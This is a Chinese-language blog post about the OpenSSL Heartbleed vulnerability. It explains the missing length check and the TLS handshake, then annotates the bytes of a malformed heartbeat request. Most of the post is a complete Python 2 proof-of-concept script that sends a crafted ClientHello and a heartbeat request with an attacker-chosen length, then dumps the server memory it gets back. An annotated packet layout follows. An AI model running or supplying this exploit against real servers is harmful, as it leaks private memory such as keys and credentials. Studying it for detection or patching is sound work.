一、漏洞原理:
首先声明,我虽然能看懂C和C++的每一行代码,但是他们连在一起我就不知道什么鬼东西了。所以关于代码说理的部分只能参考其他大牛的博客了。
1 /* 2 据说源码中有下面两条语句,反正我也没看过源码。 3 */ 4 buffer = OPENSSL_malloc(1 + 2 + payload + padding); 5 bp = buffer;
还是据说payload这个部分其实是length的值,以上如果都是对的话(事实上以上就是对的),那么在申请内存时候压根就没有检查大小好吗?这不就可以把后面的内存内容包含进来了嘛。
还是说回正题:
TLS/SSL协议简介:
过程:
1-》客户端发送包1:ClientHello
2《-服务器返回包1-2:ServerHello + [Certificate*、ServerKeyExchange*、CertificateRequest*] => ServerHelloDown
3-》客户端发送包2:[Certificate*、ClientKeyExchange*、CertificateVerify*、ChangeCipherSpec] =》Finished
4《-服务器返回包3:[ChangeCipherSpec] => Finished
5《--》双方交流数据
典型的v1.2正常场景
这是典型的攻击场景抓包v1.1漏洞版本
由此可见:在v1.1版本中进行在收到serverhello数据包之后发送精心构造的heartbeat包进行攻击
正常心跳包
攻击心跳包:
关键字节
修改这个地方,就以为这修改length。返回包heartbeat Response长度就会不一致。
也就是泄露了内存。
18-》content-type:heartbeat(24)
03 02 -》version
03-》Length
01 -》request
60 00 就是payload了 ,你要读取的长度(一般应该是20 00)
所以poc就可以如下:
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 4 import sys 5 import time 6 import chardet 7 import struct 8 import socket 9 import select 10 11 def String_To_Binary(content): 12 return content.replace(' ','').replace('\n','').decode('hex') 13 14 ''' 15 报文结构参考:http://blog.csdn.net/qq_32400847/article/details/58332946 16 ''' 17 HelloPacket = '''\ 18 16030200dc010000 d803025343 5b 909d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 \ 19 cc 16 0a 85 03 90 9f 77 04 33 d4de000066c014c00ac022c0210039003800880087c00fc00\ 20 500350084c012c008c01cc01b00160013c00dc003000ac013c009c01fc01e00330032009a0099004\ 21 50044c00ec004002f00960041c011c007c00cc002000500040015001200090014001100080006000\ 22 300ff01000049000b000403000102000a00340032000e000d0019000b000c00180009000a0016001\ 23 7000800060007001400150004000500120013000100020003000f001000110023 00 00000f 00 0\ 24 1 01\ 25 ''' 26 27 def HexDump(s): 28 for b in xrange(0, len(s), 16): 29 lin = [c for c in s[b: b + 16]] 30 hxdat = ' '.join('%02X' % ord(c) for c in lin) 31 pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin) 32 print ' %04x: %-48s %s' % (b, hxdat, pdat) 33 print 34 35 def RecvAll(socketobj, length, timeout=5): 36 endtime = time.time() + timeout 37 rdata = '' 38 remain = length 39 while remain > 0: 40 rtime = endtime - time.time() 41 if rtime < 0: 42 return None 43 read, wait, error = select.select([socketobj], [], [], 5) 44 print 'read: ', read 45 if socketobj in read: 46 data = socketobj.recv(remain) 47 if not data: 48 return None 49 rdata += data 50 remain -= len(data) 51 HexDump(rdata) 52 return rdata 53 54 def RecvMsg(socketobj): 55 hdr = RecvAll(socketobj, 5) 56 if hdr is None: 57 return None, None, None 58 type, version, length = struct.unpack('>BHH', hdr) 59 payload = RecvAll(socketobj, length, 10) 60 if payload is None: 61 return None, None, None 62 return type, version, payload 63 64 def Hit_Hb(socketobj, target): 65 # global target 66 socketobj.send(String_To_Binary(KeyPacket)) 67 while True: 68 print "[+] receive data..." 69 type, version, payload = RecvMsg(socketobj) 70 if type is None: 71 print "[-] %s |NOTVULNERABLE" % target 72 return False 73 74 # TLSv1.1 Record Layer: EncryptedHeartbeat 75 # Content Type: Heartbeat (24) 76 # Version: TLS 1.1 (0x0302) 77 # Length: 19 78 # Encrypted Heartbeat Message 79 if type == 24: 80 if len(payload) > 3: 81 print "[*] %s |VULNERABLE" % target 82 else: 83 print "[-] %s |NOTVULNERABLE" % target 84 return True 85 86 if type == 21: 87 print "[-] %s |NOTVULNERABLE" % target 88 return False 89 90 def Do_openSSL_Test(target, port): 91 socketobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 92 socketobj.connect((target, port)) 93 socketobj.send(String_To_Binary(HelloPacket)) 94 95 while True: 96 type, version, payload = RecvMsg(socketobj) 97 if type == None: 98 return 99 if type == 22 and ord(payload[0]) == 0x0E: 100 break 101 # sys.stdout.flush() 102 print "[+] send payload: %s" % KeyPacket 103 socketobj.send(String_To_Binary(KeyPacket)) # Malformed Packet 104 return Hit_Hb(socketobj, target) # ------------- ********* 105 106 107 if __name__ == '__main__': 108 ip = sys.argv[1] 109 port = sys.argv[2] 110 size = sys.argv[3] 111 KeyPacket = "180302000301%s000"%size 112 HelloPacket = str(HelloPacket).replace("","").replace("\n","") 113 KeyPacket = KeyPacket.replace("","").replace("\n","") 114 Do_openSSL_Test(ip,int(port))
报文结构部分如下参考http://blog.csdn.net/qq_32400847/article/details/58332946(特此鸣谢)
1 """ 2 HelloPacket = [ 3 # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello 4 "16" # Content Type: Handshake (22) 5 "0302" # Version: TLS 1.1 (0x0302) 6 "00dc" # Length: 220 7 # Handshake Protocol: Client Hello 8 "01" # Handshake Type: Client Hello (1) 9 "0000 d8" # Length (216) 10 "0302" # Version: TLS 1.1 (0x0302) 11 # Random 12 "5343 5b 90" # gmt_unix_time 13 "9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes 14 "00" # Session ID Length: 0 15 "0066" # Cipher Suite Length: 102 16 # Cipher Suites 17 "c014" 18 "c00a" 19 "c022" 20 "c021" 21 "0039" 22 "0038" 23 "0088" 24 "0087" 25 "c00f" 26 "c005" 27 "0035" 28 "0084" 29 "c012" 30 "c008" 31 "c01c" 32 "c01b" 33 "0016" 34 "0013" 35 "c00d" 36 "c003" 37 "000a" 38 "c013" 39 "c009" 40 "c01f" 41 "c01e" 42 "0033" 43 "0032" 44 "009a" 45 "0099" 46 "0045" 47 "0044" 48 "c00e" 49 "c004" 50 "002f" 51 "0096" 52 "0041" 53 "c011" 54 "c007" 55 "c00c" 56 "c002" 57 "0005" 58 "0004" 59 "0015" 60 "0012" 61 "0009" 62 "0014" 63 "0011" 64 "0008" 65 "0006" 66 "0003" 67 "00ff" 68 "01" # Compression Methods 69 # Compression Methods (1 method) 70 "00" # Compression Method: null 71 "0049" # Extension Length: 73 72 "000b" # Type: ec_point_formats 73 "0004" # Length: 4 74 "03" # EC point formats length: 3 75 # Elliptic curves point formats 76 "00" # EC point format: uncompressed (0) 77 "01" # EC point format:ansix962_compressed_prime 78 "02" # EC point format:ansix962_compressed_char2 79 # Extension: elliptic_curves 80 "000a" 81 "0034" 82 "0032" 83 "000e" 84 "000d" 85 "0019" 86 "000b" 87 "000c" 88 "0018" 89 "0009" 90 "000a" 91 "0016" 92 "0017" 93 "0008" 94 "0006" 95 "0007" 96 "0014" 97 "0015" 98 "0004" 99 "0005" 100 "0012" 101 "0013" 102 "0001" 103 "0002" 104 "0003" 105 "000f" 106 "0010" 107 "0011" 108 "0023 00 00" # Extension:SeesionTicket TLS 109 "000f 00 01 01" # Extension:Heartbeat 110 ] 111 112 # ---------TLSv1---[Heartbeat Request]------------ 113 KeyPacket = [ 114 # TLSv1.1 Record Layer: HeartbeatRequest 115 "18" # Content Type: Heartbeat (24) ----(0x18) 116 "0302" # Version: TLS 1.1 (0x0302) 117 "0003" # Heartbeat Message: 118 "01" # Type: Request (1) (0x01) 119 "2000" # Payload Length: (16384) (0x4000) 120 ] 121 """